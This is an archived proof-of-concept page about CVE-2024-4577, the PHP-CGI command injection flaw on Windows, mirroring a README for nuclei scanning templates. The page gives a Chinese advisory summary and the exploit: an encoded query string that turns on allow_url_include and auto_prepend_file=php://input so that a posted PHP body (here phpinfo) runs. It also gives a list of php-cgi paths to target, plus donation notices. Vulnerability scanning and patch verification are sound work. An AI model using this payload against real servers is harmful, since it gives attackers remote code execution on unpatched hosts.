Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-4577 PoC — PHP 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:PHP 操作系统命令注入漏洞 (CVE-2024-4577)
Description:PHP是一种在服务器端执行的脚本语言。 PHP存在操作系统命令注入漏洞,该漏洞源于在特定条件下,Windows系统使用“Best-Fit”行为替换命令行中的字符,这可能导致PHP CGI模块错误地将这些字符解释为PHP选项,从而泄露脚本的源代码,在服务器上运行任意PHP代码等。以下版本受到影响:8.1至8.1.29之前版本,8.3至8.3.8之前版本,8.2至8.2.20之前版本。
Description
CVE-2024-4577 nuclei-templates
Readme
# CVE-2024-4577-nuclei

<br/>

Payload:

```
?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
```

```php
<?php phpinfo(); ?>
```

<br/>

Test URL:

```
/unfxu9a.php{{payload}}
/php-cgi/unfxu9a.php{{payload}}

/cgi-bin/php-cgi.exe{{payload}}
/php-cgi/php-cgi.exe{{payload}}
/php-cgi/php.exe{{payload}}
/cgi-bin/php.exe{{payload}}
```


<br/>

![Test](./2024_06_08_11_00_01.png)


<br/>

---

Ref:
- https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
- https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
File Snapshot

[4.0K] /data/pocs/7ab0ff6f9ebf78106656d015ddccec9a13b49454 ├── [237K] 2024_06_08_11_00_01.png ├── [1.4K] CVE-2024-4577_2.yaml ├── [2.7K] CVE-2024-4577.yaml └── [ 554] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.